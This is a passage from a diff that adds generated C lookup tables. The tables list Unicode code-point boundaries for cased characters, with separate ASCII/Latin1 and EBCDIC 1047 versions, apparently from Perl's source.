+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xD800,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_CASED_invlist[] = { /* for ASCII/Latin1 */
+	271,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xAA,
+	0xAB,
+	0xB5,
+	0xB6,
+	0xBA,
+	0xBB,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x1BB,
+	0x1BC,
+	0x1C0,
+	0x1C4,
+	0x294,
+	0x295,
+	0x2B9,
+	0x2C0,
+	0x2C2,
+	0x2E0,
+	0x2E5,
+	0x345,
+	0x346,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x561,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2180,
+	0x2183,
+	0x2185,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA640,
+	0xA66E,
+	0xA680,
+	0xA69E,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA78F,
+	0xA790,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F8,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0x10400,
+	0x10450,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x118A0,
+	0x118E0,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E900,
+	0x1E944,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CASED_invlist[] = { /* for EBCDIC 1047 */
+	297,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x1BB,
+	0x1BC,
+	0x1C0,
+	0x1C4,
+	0x294,
+	0x295,
+	0x2B9,
+	0x2C0,
+	0x2C2,
+	0x2E0,
+	0x2E5,
+	0x345,
+	0x346,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x561,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2180,
+	0x2183,
+	0x2185,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA640,
+	0xA66E,
+	0xA680,
+	0xA69E,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA78F,
+	0xA790,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F8,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0x10400,
+	0x10450,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x118A0,
+	0x118E0,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E900,
+	0x1E944,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
